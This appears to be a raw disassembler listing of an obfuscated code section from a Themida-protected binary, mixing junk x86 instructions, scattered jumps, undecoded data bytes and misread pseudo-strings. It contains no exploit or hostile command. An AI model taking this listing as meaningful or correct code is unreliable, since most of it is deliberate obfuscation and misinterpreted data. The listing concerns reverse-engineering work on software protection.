; ---------------------------------------------------------------------------
loc_5603C3: ; CODE XREF: Themida_:00555ACDj
pop ebx
jmp loc_5548EA
; ---------------------------------------------------------------------------
db 31h, 0Ch, 24h
dd 8B240C33h, 0C3302424h, 3F55E9h
db 0
; ---------------------------------------------------------------------------
loc_5603D9: ; CODE XREF: Themida_:00562161j
sub esp, 4
mov [esp], eax
jmp loc_5607D2
; ---------------------------------------------------------------------------
byte_5603E7 db 0FFh ; DATA XREF: Themida_:00552ADCo
dd 34FF2434h, 7C5CE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5603F2: ; CODE XREF: Themida_:0055BAE6j
sub edx, 49E8FD99h
jmp loc_5543FC
; ---------------------------------------------------------------------------
db 5Ah, 0E9h, 2Bh
db 45h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_560403: ; CODE XREF: Themida_:00561DD5j
sub ebx, 79083F20h
sub ebx, esi
add ebx, 79083F20h
pop esi
push 0
push ebx
mov ebx, 2F3C177Eh
jmp loc_55C9B3
; ---------------------------------------------------------------------------
dw 34FFh
dd 2434FF24h, 0E189515Ah, 1113E9h, 2BE5600h, 31020200h
dd 0DA295EF3h, 81241C8Bh, 4C4h, 74FF5200h, 8F5A0424h, 53E92404h
db 75h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_560453: ; CODE XREF: Themida_:0055AC57j
neg ebp
jmp loc_563EA2
; ---------------------------------------------------------------------------
dw 15Eh
dd 242C8BEFh, 8704C483h, 665C243Ch, 66C8BE0Fh, 666FF168h
dd 0E9240C89h, 0FFFF2743h, 2404A30Fh, 2739E99Ch, 8952FFFFh
dd 4C281E2h, 81000000h, 4C2h, 24148700h, 0FFD4E1E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_560499: ; CODE XREF: Themida_:00567841j
mov eax, [esp]
jmp loc_568127
; ---------------------------------------------------------------------------
byte_5604A1 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:00552994o
aVh db '$Vhъ!',0
dw 8900h
dd 53562424h, 0B6593168h, 241C8B3Fh, 0E904C483h, 0FFFFFCD0h
dd 4C4835Ah, 5558C529h, 23243481h, 8B175D3Eh, 0C4812404h
dd 4, 5D3E2335h, 2EE95D17h, 66FFFF49h, 0F6240489h, 66012454h
dd 8124048Bh, 2C4h, 9AE95000h, 29FFFF73h, 0E99C2404h, 0FFFF26B7h
; ---------------------------------------------------------------------------
loc_560504: ; CODE XREF: Themida_:0055F394j
push esp
jmp loc_560BEA
; ---------------------------------------------------------------------------
dw 0C330h
dd 66C0B60Fh, 0E987048Fh, 0FFFF26A3h, 1C57215Fh, 0FFC05FE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_560521: ; CODE XREF: Themida_:005612D2j
sub edx, 3C27961h
add edx, 38D88C69h
jmp loc_55523F
; ---------------------------------------------------------------------------
dw 34FFh
dd 0C4815A24h, 4, 0C63036B6h, 582434FFh, 0FF7A3EE9h, 75BB53FFh
dd 0E92FDC1Fh, 55CCh
; ---------------------------------------------------------------------------
loc_560554: ; CODE XREF: Themida_:00559C93j
sub al, cl
pop ecx
jmp loc_55E95C
; ---------------------------------------------------------------------------
dd 4C4835Fh, 246C015Eh, 242C8B04h, 6AA868h, 242C8900h
dd 0C581E589h, 4, 8704C583h, 0E95C242Ch, 2E1h
; ---------------------------------------------------------------------------
loc_560584: ; CODE XREF: Themida_:0055452Fj
sub eax, 3AEA2F4Dh
shl eax, 1
push ebp
mov ebp, 65F26669h
jmp loc_563A57
; ---------------------------------------------------------------------------
dw 0B951h
dd 451F50A1h, 67E9C829h
db 0DFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5605A3: ; CODE XREF: Themida_:0055EA87j
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], ebx
mov ebx, esp
add ebx, 4
add ebx, 4
jmp loc_55F049
; ---------------------------------------------------------------------------
aHi db '\hi|',0
align 2
dw 2C89h
dd 4BD24h, 60E90000h, 4BFFFFDEh, 6673E381h, 0E38165D6h
dd 568E40D2h, 99ACEB81h, 0DA01F829h, 0FF6ADBE9h, 23685CFFh
dd 89000064h, 0EC812414h, 4, 52240489h, 0BAE90EB6h, 0F7FFFFECh
dd 3E8C1D0h, 7800E9h
db 0
byte_56061D db 66h, 8Bh, 4 ; DATA XREF: Themida_:005529B8o
dd 0E9545324h, 0FFFFC975h
; ---------------------------------------------------------------------------
loc_560628: ; CODE XREF: Themida_:0055EA3Fj
add edi, 475A36F8h
jmp loc_556437
; ---------------------------------------------------------------------------
loc_560633: ; CODE XREF: Themida_:00562879j
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
jmp loc_557842
; ---------------------------------------------------------------------------
loc_560640: ; CODE XREF: Themida_:005572B6j
push ecx
mov ecx, 68973E48h
shl ecx, 6
or ecx, 5D167574h
shr ecx, 1
not ecx
sub ecx, 4AE5EB04h
mov edi, ecx
jmp loc_5667AF
; ---------------------------------------------------------------------------
dd 0E9FFEB83h, 0FFFFE7F1h
; ---------------------------------------------------------------------------
loc_560668: ; CODE XREF: Themida_:00559444j
mov ebp, [esp]
push edx
mov edx, esp
add edx, 4
jmp loc_55E750
; ---------------------------------------------------------------------------
db 89h, 2 dup(24h)
dd 4240483h, 0E92434FFh, 0FFFFF6E7h, 264FE981h, 348B34AEh
dd 4C48324h, 51BA5253h, 81786C31h, 0D37FBAE2h, 9AC28168h
dd 0E9117026h, 0FFFF8155h, 6F169F68h, 0E7815F09h, 8F37F6Eh
dd 0FF5494E9h, 73EE80FFh, 0F65AF320h, 662FE9D3h, 15AFFFFh
dd 0C1815FF9h, 4F055234h, 0E981F901h, 4F055234h, 6988E981h
dd 0E95F518Bh, 0FFFFF699h
; ---------------------------------------------------------------------------
loc_5606E8: ; CODE XREF: Themida_:00554799j
mov ecx, esp
add ecx, 4
jmp loc_567404
; ---------------------------------------------------------------------------
loc_5606F5: ; CODE XREF: Themida_:00567561j
and ecx, edi
jmp loc_560332
; ---------------------------------------------------------------------------
dd 7E420DB9h, 54EE975h, 14870000h, 14895C24h, 6EA7BA24h
dd 0D58943ABh, 614CE9h
db 0
; ---------------------------------------------------------------------------
loc_560719: ; CODE XREF: Themida_:00555C29j
add edi, ebx
sub edi, 38AE421Fh
pop ebx
xor esi, edi
pop edi
sub edi, 658C2B95h
add edi, 655A4CE4h
add edi, 620256E7h
sub edi, esi
sub edi, 620256E7h
sub edi, 655A4CE4h
push edx
push esi
push ecx
jmp loc_558F2D
; ---------------------------------------------------------------------------
loc_56074D: ; CODE XREF: Themida_:0055D8B8j
mov ebx, 0E5D0457h
jmp loc_557F12
; ---------------------------------------------------------------------------
loc_560757: ; CODE XREF: Themida_:00553AF7j
neg ebx
push ecx
jmp loc_555193
; ---------------------------------------------------------------------------
db 8Bh
dd 0C483243Ch, 0B8B85004h, 31378866h, 0E18158C1h, 66334B03h
dd 3C37BF57h, 0E9813AACh, 22F67905h, 6112C181h, 0F9010481h
dd 6112E981h, 0E9500481h, 3AABh
; ---------------------------------------------------------------------------
loc_560794: ; CODE XREF: Themida_:00563306j
sub [esp+4], edx
jmp loc_566CE1
; ---------------------------------------------------------------------------
db 66h, 8Bh, 14h
aSvm db '$ИVM',0
align 2
loc_5607A6: ; CODE XREF: Themida_:00565B40j
xor esi, 123A21EBh
xor esi, 0FF64B479h
dec esi
or esi, 4B326591h
push edx
jmp loc_559BF0
; ---------------------------------------------------------------------------
db 81h
dd 0E37B49F1h, 59CF0185h, 2474FF57h, 8FF7E904h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5607D2: ; CODE XREF: Themida_:005603E2j
push esi
mov esi, 58F3020Eh
jmp loc_565E6C
; ---------------------------------------------------------------------------
db 0FFh, 34h, 24h
dd 0CE68E95Fh, 815AFFFFh, 4C4h, 4EC8300h, 0FF243C89h, 2DE92434h
dd 0B9FFFFCDh, 0
dd 259FE981h, 0D9295D71h, 44F4E9h, 4BEBA00h, 0DA3153A1h
dd 0FFD3295Bh, 148B2434h, 4C48124h, 83000000h, 1C3304C4h
dd 241C3124h, 8B241C33h, 94E92424h, 80FFFF69h, 0D42821F2h
dd 0FF747EE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_560841: ; CODE XREF: Themida_:00555729j
push eax
push 53ADh
mov [esp], edi
jmp loc_567412
; ---------------------------------------------------------------------------
db 8
dd 805A66F3h, 686601F3h, 0FAE91E77h, 5C00005Ch, 0FF48ABE9h
dd 2434FFFFh, 4C4815Eh, 68000000h, 3CF9h, 0B9240C89h, 4
dd 0FFF9C7E9h, 4EC81FFh, 68000000h, 18B8h, 0E9242489h
dd 32Fh, 0E983C281h, 0D589F69Eh, 7EDC15Ah, 4D02E5C1h, 4E17C581h
dd 0E5D129C4h, 3928F581h, 0EE897CE0h, 0A512E95Dh, 0CD89FFFFh
dd 0FF72DEE9h, 0A1C281FFh, 5903952Eh, 31241433h, 14332414h
dd 14895C24h, 4EC8124h, 89000000h, 94E92424h, 5DFFFFB4h
dd 0FF582AE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5608E9: ; CODE XREF: Themida_:005593B7j
mov esi, [esp]
add esp, 4
add esi, 7BE0705Eh
push edx
mov edx, 20F7140Dh
shl edx, 8
xor edx, 0C1F47C12h
add esi, edx
jmp loc_5536C9
; ---------------------------------------------------------------------------
db 81h
dd 7961EDC7h, 0E9FB0142h, 3759h
; ---------------------------------------------------------------------------
loc_560918: ; CODE XREF: Themida_:00553FEDj
xor eax, 109D453Dh
and esi, eax
pop eax
push esi
jmp loc_554D69
; ---------------------------------------------------------------------------
dw 0DFF7h
dd 8102EFC1h, 266A17F7h, 3AE7815Ch, 816DFD68h, 0A0BA5F7h
dd 5FF8294Eh, 0FFB49FE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_560945: ; CODE XREF: Themida_:0056382Cj
pop esi
push eax
jmp loc_5582EC
; ---------------------------------------------------------------------------
dd 68h, 24342900h, 0FF592DE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_560959: ; CODE XREF: Themida_:00562699j
pop esi
sub eax, 37447ED7h
sub eax, ebx
add eax, 37447ED7h
pop ebx
add eax, ecx
sub esp, 4
mov [esp], edx
mov edx, 76906146h
jmp loc_555E37
; ---------------------------------------------------------------------------
dd 9078E95Ch, 0BA52FFFFh, 5B7A7B87h, 68h, 24142900h, 6E2C15Ah
dd 9CD8F281h, 0D031735Eh, 0FF92AEE9h, 81E789FFh, 4C7h
dd 5280E900h, 0ED81FFFFh, 0FED9637h, 2C8BE929h, 89B0E924h
dd 8359FFFFh, 0FF5002C0h, 8B042474h, 1BE92404h
db 67h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5609CF: ; CODE XREF: Themida_:005590B4j
dec eax
xor eax, 0A45865h
push esi
mov esi, 719F3529h
and eax, esi
pop esi
xchg eax, ebx
inc ebx
xchg eax, ebx
push edi
push edx
jmp loc_561FCC
; ---------------------------------------------------------------------------
loc_5609E8: ; CODE XREF: Themida_:00556383j
push edx
mov edx, esp
add edx, 4
jmp loc_557785
; ---------------------------------------------------------------------------
dw 1489h
dd 81E28924h, 4C2h, 4BD5500h, 29000000h, 14875DEAh, 366CE924h
db 2 dup(0FFh)
word_560A12 dw 8B66h ; DATA XREF: Themida_:005529D4o
dd 8368240Ch, 0E9000072h, 0FFFFA277h
; ---------------------------------------------------------------------------
loc_560A20: ; CODE XREF: Themida_:00561B29j
xchg ebp, [esp]
mov esp, [esp]
sub esp, 4
mov [esp], esi
mov esi, 4
add ebx, 31355F3Eh
add ebx, esi
sub ebx, 31355F3Eh
jmp loc_5595A2
; ---------------------------------------------------------------------------
db 5Ch
dd 83243C8Bh, 0FD6804C4h, 89000046h, 0A3BD242Ch, 0E9659208h
dd 0FFFFE678h
; ---------------------------------------------------------------------------
loc_560A60: ; CODE XREF: Themida_:0055E75Cj
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
push edi
add dword ptr [esp], 369C3AD9h
pop eax
sub eax, 369C3AD9h
push dword ptr [esp]
jmp loc_554AE7
; ---------------------------------------------------------------------------
db 5Ch, 87h, 0Ch
dd 24248B24h, 0FFADCDE9h, 4FE681FFh, 81078438h, 3877B6E6h
dd 73BDE90Ah, 14310000h, 24143324h, 5724248Bh, 5374E9h
dd 9DC68100h, 5D0AF778h, 676EE95Bh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_560ACA: ; CODE XREF: Themida_:00564A14j
mov edx, 4
add ebp, edx
pop edx
push esi
push edi
push esi
push edi
jmp loc_558829
; ---------------------------------------------------------------------------
loc_560ADB: ; CODE XREF: Themida_:00559038j
and eax, ebp
mov ebp, [esp]
add esp, 4
or edx, eax
shl edx, 1
sub esp, 4
mov [esp], edi
mov edi, esp
add edi, 4
push ebx
jmp loc_558BD2
; ---------------------------------------------------------------------------
loc_560B01: ; CODE XREF: Themida_:0055E9FBj
add [esp+4], eax
push 1625h
mov [esp], ecx
push 43DB47F4h
jmp loc_55F6FA
; ---------------------------------------------------------------------------
db 87h
dd 248B2434h, 0E2895224h, 6510BD55h, 0ED817CE5h, 7CE5650Ch
dd 4FE9EA01h, 56FFFF9Bh, 0BA52E689h, 17677498h, 7494EA81h
dd 14E91767h
db 0DFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_560B47: ; CODE XREF: Themida_:005649D1j
mov edx, [esp]
jmp loc_555D9D
; ---------------------------------------------------------------------------
db 0C1h
dd 0D6F705E6h, 77D4C681h, 78E9536Eh
db 1Ch, 2 dup(0)
; ---------------------------------------------------------------------------
loc_560B5F: ; CODE XREF: Themida_:00565047j
pop ebx
xor eax, edx
mov edx, [esp]
add esp, 4
sub esp, 4
mov [esp], ebx
push 0AF3h
mov [esp], edi
push 4DB66B9Eh
pop edi
mov ebx, 8EF8B942h
push edi
mov edi, 31CC43E2h
xor edi, 6BDD6EBDh
add ebx, edi
jmp loc_5598F8
; ---------------------------------------------------------------------------
db 5Dh
dd 5C240C87h, 89243C89h, 4C781E7h, 83000000h, 3C8704C7h
dd 24248B24h, 348BF001h, 4C48124h, 83000000h, 0B3E904ECh
dd 81FFFFAFh, 42404h, 48F0000h, 24048124h, 4, 0FF2036E9h
dd 5BDA29FFh, 3014C281h, 0D2F76A7Ah, 0E89EE952h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_560BEA: ; CODE XREF: Themida_:00560505j
pop ebx
push ebp
push 7AD5h
mov [esp], esi
jmp loc_561305
; ---------------------------------------------------------------------------
db 81h, 0EBh, 8
dd 8148B725h, 5901A5C3h, 81CB0170h, 5901A5EBh, 8C38170h
dd 0FF48B725h, 0C8B2434h, 4C48324h, 4C481h, 1C330000h
dd 241C3124h, 8B241C33h, 0EC812424h, 4, 50240C89h, 4EC81h
dd 0C890000h, 88D58824h, 885259ECh, 5AF588E6h, 0E92434FFh
dd 0FFFFBFADh, 1BAFEE81h, 0CE01437Bh, 1BAFC681h, 2DE9437Bh
dd 0FF00006Ch, 0E95D2434h, 0FFFFD13Ah
; ---------------------------------------------------------------------------
loc_560C70: ; CODE XREF: Themida_:00559A87j
shr esi, 5
jmp loc_55DEC2
; ---------------------------------------------------------------------------
dd 241C8758h, 8124248Bh, 4ECh, 240C8900h, 4EC81h, 3DE90000h
dd 0C000006Ch, 0F18005E1h, 59CF0839h, 6628F780h, 28A8B353h
dd 5B66D8h, 5BA804F8h, 0EC81D828h, 4, 50241C89h, 7BB344B0h
dd 0B252DBF6h, 0D3C280D5h, 30D6EA80h, 88EBE9D3h, 0C181FFFFh
dd 4, 63A868h, 242C8900h, 91DBF57h, 0E9572BEBh, 26E2h
; ---------------------------------------------------------------------------
loc_560CE8: ; CODE XREF: Themida_:0055C54Cj
pop edx
mov ebx, [esp]
add esp, 4
jmp loc_552BBB
; ---------------------------------------------------------------------------
loc_560CF7: ; CODE XREF: Themida_:00566431j
inc ecx
jmp loc_55D686
; ---------------------------------------------------------------------------
db 5Bh, 8Bh, 1Ch
dd 0E9545224h, 0FFFF8A8Ch
; ---------------------------------------------------------------------------
loc_560D08: ; CODE XREF: Themida_:0055BBFCj
mov esp, [esp]
jmp loc_55FA99
; ---------------------------------------------------------------------------
loc_560D10: ; CODE XREF: Themida_:0056387Ej
add esp, 4
add ebx, 3AAE6366h
xor ebx, 2F605F97h
xor ebx, 0BE233857h
mov eax, ebx
mov ebx, [esp]
jmp loc_55F155
; ---------------------------------------------------------------------------
db 5Bh
dd 0FF3CB0E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_560D35: ; CODE XREF: Themida_:0055965Bj
pop esi
jmp loc_559169
; ---------------------------------------------------------------------------
loc_560D3B: ; CODE XREF: Themida_:0056544Ej
xor [esp], edx
xor edx, [esp]
xor [esp], edx
not edx
jmp loc_555D86
; ---------------------------------------------------------------------------
db 5Dh
dd 8704C083h, 0E95C2404h, 6E8Ah
; ---------------------------------------------------------------------------
loc_560D58: ; CODE XREF: Themida_:00563385j
xchg edx, [esp]
pop esp
mov [esp], ecx
jmp loc_552BBB
; ---------------------------------------------------------------------------
dd 34EBE781h, 0C7814EC8h, 203E48C4h, 3AF8F781h, 5556763Ch
dd 6B141ABDh, 2C54E90Dh, 0EC830000h, 24148904h, 0D32241BAh
dd 5BF575Fh, 2157C570h, 0CE95FFAh
db 64h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_560D9B: ; CODE XREF: Themida_:0056701Cj
add eax, edx
pop edx
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
mov esp, [esp]
loc_560DAA: ; CODE XREF: Themida_:loc_55DA33j
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
jmp loc_5574DC
; ---------------------------------------------------------------------------
loc_560DBE: ; CODE XREF: Themida_:00563CB5j
mov bh, 38h
and bh, 0BAh
sub bh, 20h
add dl, bh
pop ebx
add bl, 4Bh
add bl, dl
sub bl, 4Bh
pop edx
push cx
mov ch, 66h
sub bl, 0CAh
add bl, ch
push eax
mov al, 0ADh
sub al, 0AFh
jmp loc_55DA00
; ---------------------------------------------------------------------------
db 0F6h, 0F9h, 66h
dd 0E9CCB60Fh, 0FFFF37A5h, 1DF7815Fh, 0E95FD30Dh, 447h
dd 8685356h, 5B42EC05h, 0E3C1D3F7h, 0ADD4E902h, 0C781FFFFh
dd 4, 0FF5FA6E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_560E19: ; CODE XREF: Themida_:005598D7j
pop esp
rol word ptr [esp], cl
pushf
jmp loc_552BBB
; ---------------------------------------------------------------------------
loc_560E24: ; CODE XREF: Themida_:0055449Dj
push dword ptr [esp+4]
mov ebx, [esp]
add esp, 4
pop dword ptr [esp]
pop esp
push esi
mov esi, esp
add esi, 4
push edx
mov edx, 4
add esi, edx
pop edx
jmp loc_559CB5
; ---------------------------------------------------------------------------
loc_560E49: ; CODE XREF: Themida_:00566637j
jmp loc_552BBB
; ---------------------------------------------------------------------------
dw 0C4FEh
dd 8002E4C0h, 0E32843C4h, 66C32858h, 7CB9E952h, 8142FFFFh
dd 227FDEAh, 59BCE943h, 24BEFFFFh, 89377B4Dh, 5215E9F2h
dd 0C801FFFFh, 74FF5059h, 8F580424h, 248B2404h, 2C28324h
dd 31241433h, 14332414h, 24248B24h, 0C8AF0F66h, 4C5E9h
dd 4EAC100h, 0FF3D50E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_560EA9: ; CODE XREF: Themida_:00561DC8j
add ecx, ebp
jmp loc_56114E
; ---------------------------------------------------------------------------
dd 6F79EF81h, 0E7812909h, 123B0551h, 8104EFC1h, 4A4793EFh
dd 5FFB21DBh, 6F30CB81h, 0ACE92917h, 8B000035h, 0C4812414h
dd 4, 1CD9E95Eh, 56B8FFFFh, 2906FE62h, 0B95158C6h, 32C16EB2h
dd 4AC5F181h, 6DE97982h
db 3Ch, 2 dup(0)
; ---------------------------------------------------------------------------
loc_560EFB: ; CODE XREF: Themida_:0056735Bj
push esp
pop ebp
add ebp, 4
sub ebp, 4
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
mov [esp], ecx
jmp loc_55797F
; ---------------------------------------------------------------------------
aAf db '╨aF=',0
dw 0D601h
dd 0AE6815Ah, 0E918074Fh, 0FFFF99CCh, 0E957D5F7h, 0FFFFC609h
dd 8B243487h, 89662424h, 74E92404h, 81FFFF1Ch, 0CA451FF2h
dd 5AD72942h, 71ACBE56h, 0C2E953ACh, 53FFFFCDh, 0E240481h
dd 0E960F24Bh, 0FFFF3C65h, 589468h, 4F91E900h, 8B68FFFFh
dd 5DEBB857h, 0FFD30BE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_560F7D: ; CODE XREF: Themida_:0055B4D3j
or eax, ebx
pop ebx
push ebp
mov ebp, 0
sub ebp, eax
xchg eax, ebp
pop ebp
and eax, 4F2A0779h
jmp loc_565F10
; ---------------------------------------------------------------------------
dd 355968h, 24048900h, 0BB53E089h, 4, 55BD801h, 4, 0FF579EE9h
dd 0C4835AFFh, 0ABEF8104h, 0C13E4A69h, 0BB5303EFh, 2982F822h
dd 2D5BDF01h, 2A2D1F15h, 1505F829h, 8B2A2D1Fh, 0C481243Ch
dd 4, 6B046F05h, 2DD8017Ch, 7C6B046Fh, 5614E955h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_560FEE: ; CODE XREF: Themida_:005653D6j
add ebp, 4
jmp loc_554616
; ---------------------------------------------------------------------------
db 56h, 81h, 2Ch
dd 3398F24h, 6B5DE977h, 0F0290000h, 2404335Eh, 624DE9h
dd 0FFEB8300h, 2BE9h
db 0
byte_561019 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:00552934o
aWhat db '$Wh²T',0
dw 8900h
dd 0BE562424h, 4, 4247401h, 243C8B5Eh, 6804C483h, 3FB7h
dd 0E9240C89h, 0FFFFBD5Bh, 64B2B850h, 0F92562D4h, 5768A701h
dd 1820B4BFh, 30EF8173h, 0C1764C7Eh, 0E94F05EFh, 0FFFF9D24h
dd 0C106E7C1h, 0C78105E7h, 0E20EC91Ch, 355FF829h, 0C0A08AC7h
dd 0FFAEC5E9h, 4EE95EFFh, 81000055h, 0BD333CEEh, 62E95868h
db 45h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56108F: ; CODE XREF: Themida_:0055685Fj
add esp, 4
jmp loc_562CD9
; ---------------------------------------------------------------------------
db 66h
dd 83242C8Bh, 0A2E902C4h
db 5Ch, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5610A3: ; CODE XREF: Themida_:00557889j
push esi
mov esi, 41624EC1h
jmp loc_558357
; ---------------------------------------------------------------------------
dw 0D2B8h
dd 0E94A8C6Fh, 0FFFF6EE9h
; ---------------------------------------------------------------------------
loc_5610B8: ; CODE XREF: Themida_:0056640Ej
pop eax
jmp loc_55E064
; ---------------------------------------------------------------------------
dw 0D2F7h
dd 0A224F281h, 0EF81C283h, 7941A81h, 0FF2260E9h, 0FD3166FFh
dd 243C8B66h, 6602C483h, 8766EDD1h, 665666F5h, 66240CFFh
dd 0E924348Bh, 0FFFF2FA5h, 43EA685Ch, 4890000h, 3CC8B824h
dd 0D0F72C86h, 4E8C148h, 0E903E8C1h, 1E75h, 2912E958h
dd 1433FFFFh, 0D620E924h, 0C481FFFFh, 4, 2E8BE9h, 4C18100h
dd 51000000h, 0FF335EE9h, 6EFC1FFh, 355F68h, 241C8900h
dd 0FA15AEBBh, 0ADEB815Ch, 295CFA15h, 49BFE9DFh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56114E: ; CODE XREF: Themida_:00560EABj
pop ebp
sub edi, 38EA299Fh
add edi, ecx
add edi, 38EA299Fh
mov ecx, [esp]
add esp, 4
xchg edi, [esp]
mov esp, [esp]
pop ecx
push esi
push 3E1B34A7h
jmp loc_565ECF
; ---------------------------------------------------------------------------
db 0BDh, 0C3h, 50h
dd 0E9551B2Dh, 0FFFF42D4h, 77B45066h, 5866E230h, 0E9BDF280h
dd 6E97h, 1358B850h, 0BE69EAh, 313E8F17h, 8EE958C6h
db 1Dh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5611A3: ; CODE XREF: Themida_:0055F0F7j
mov ebx, 76425FEEh
mov eax, 9352C871h
sub eax, ebx
pop ebx
xor ecx, eax
jmp loc_554D4C
; ---------------------------------------------------------------------------
db 1
dd 34FF5FFDh, 0C4815E24h, 4, 2474FF55h, 48F5D04h, 4895C24h
dd 19E5E924h, 5B5DFFFFh, 4C381h, 0BCE90000h
db 56h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5611E3: ; CODE XREF: Themida_:00554A30j
xor edi, 0D887F28Dh
xor ebp, edi
jmp loc_55724A
; ---------------------------------------------------------------------------
loc_5611F0: ; CODE XREF: Themida_:0055B51Cj
mov [esp], ebx
mov ebx, 4
sub ebp, ebx
mov ebx, [esp]
add esp, 4
xchg ebp, [esp]
mov esp, [esp]
jmp loc_567A6C
; ---------------------------------------------------------------------------
aTsf db 'TИf;',0
dd 1255BE00h, 0C5811C44h, 33BC75DEh, 68B5C581h, 0C58105D0h
dd 20381D1Ah, 4F92E9h, 8BE50800h, 89532404h, 4C381E3h
dd 83000000h, 3FE904C3h, 5700003Ah, 224CBF57h, 7C297E4Ch
dd 0FEE90424h, 0BBFFFFB2h, 0AA05C83h, 0FF4685E9h, 0D6895AFFh
dd 0ABE9515Ah, 0FF00002Bh
db 34h, 24h, 59h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
jmp loc_55F528
; ---------------------------------------------------------------------------
db 81h
dd 0AF2E3DF3h, 81DBF713h, 8A4E7CF3h, 82BA5206h, 29602552h
dd 0EB815AD3h, 5AE0255Ch, 52A2E9h, 0C1DAF700h, 86808E2h
dd 8900004Ch, 7AB82404h, 0E933477Bh, 0FFFFD9E6h, 4244401h
dd 9D9AE958h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5612C2: ; CODE XREF: Themida_:0055D6DEj
not edx
inc edx
push edx
inc dword ptr [esp]
mov edx, [esp]
add esp, 4
jmp loc_560521
; ---------------------------------------------------------------------------
byte_5612D7 db 0FFh ; DATA XREF: Themida_:005528F4o
dd 669D1C77h, 2414D359h, 18D5E99Ch, 0E588FFFFh, 30585A58h
dd 0C8B66E8h, 0E0895024h, 0FF6B8FE9h, 186A05FFh, 5B5B2E2Ch
dd 0FF1A00E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_561305: ; CODE XREF: Themida_:00560BF4j
push ebp
push 77964E6Dh
pop ebp
not ebp
not ebp
xor ebp, 77964E69h
mov esi, ebp
jmp loc_55972E
; ---------------------------------------------------------------------------
db 89h, 14h, 24h
dd 4BAh, 5AD50100h, 99685551h, 5D39D679h, 453FB951h, 0D9F75908h
dd 0AD2E9h, 0C5BB5300h, 0C15F1D28h, 0B2E903E3h
db 0C9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56134B: ; CODE XREF: Themida_:0055DBCAj
push ebx
mov bh, 2Fh
mov ch, 4Eh
xor ch, bh
pop ebx
jmp loc_55A27C
; ---------------------------------------------------------------------------
dd 3304C483h, 3C31243Ch, 0E7CAE924h, 5166FFFFh, 184DE99Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56136E: ; CODE XREF: Themida_:00557F69j
pop ecx
add ecx, 4
add ecx, 4
xchg ecx, [esp]
mov esp, [esp]
and eax, ebp
push dword ptr [esp]
jmp loc_55CA02
; ---------------------------------------------------------------------------
dd 34FF5A5Fh, 0C4835824h, 2E95104h, 5DFFFF5Bh, 5D4768h
dd 242C8900h, 562E8FBDh, 8BEF217Eh
db 2Ch, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
pop esp
push ebx
mov ebx, 0E4534F9Eh
add edi, 73B7531Eh
add edi, ebx
sub edi, 73B7531Eh
pop ebx
add ebx, edi
jmp loc_55E11D
; ---------------------------------------------------------------------------
db 81h
dd 4C2h, 24148700h, 0FF24248Bh, 34FF2434h, 240C8B24h, 8104C483h
dd 4C4h, 4EC8300h, 54242C89h, 4EC815Dh, 89000000h, 0CAE9243Ch
db 2Eh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_561413: ; CODE XREF: Themida_:005574AEj
pop esp
jmp loc_5563B6
; ---------------------------------------------------------------------------
db 8Fh, 4, 24h
dd 4108E956h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_561422: ; CODE XREF: Themida_:0055EAB8j
not ebp
xchg ebp, edx
jmp loc_561FB6
; ---------------------------------------------------------------------------
db 57h
dd 0FFC7F8E9h, 241CF7FFh, 6EDC15Dh, 7AE1F581h, 0D5F7031Ah
dd 34BDE9h
db 0
; ---------------------------------------------------------------------------
loc_561445: ; CODE XREF: Themida_:00557C1Aj
sub [esp+4], ecx
pop ecx
mov edi, [esp]
add esp, 4
push 1468h
mov [esp], eax
push 982h
mov [esp], ebp
mov ebp, 12C409C4h
jmp loc_557BDD
; ---------------------------------------------------------------------------
loc_56146D: ; CODE XREF: Themida_:0055876Aj
pop ebx
mov ebx, [esp]
add esp, 4
jmp loc_55489D
; ---------------------------------------------------------------------------
db 68h, 9Fh, 0Ah
dd 4890000h, 1F5DB824h, 685065DDh, 11C9h, 0E9241C89h, 0FFFF578Dh
dd 0E9C3315Fh, 2C43h, 15EF729h, 0A7BE56F7h, 5778336Bh
dd 0FF7150E9h, 5BD801FFh, 4EC81h, 2C890000h, 74B2BD24h
dd 0EDC17E4Bh, 24E95004h, 8900005Eh, 4C281E2h, 83000000h
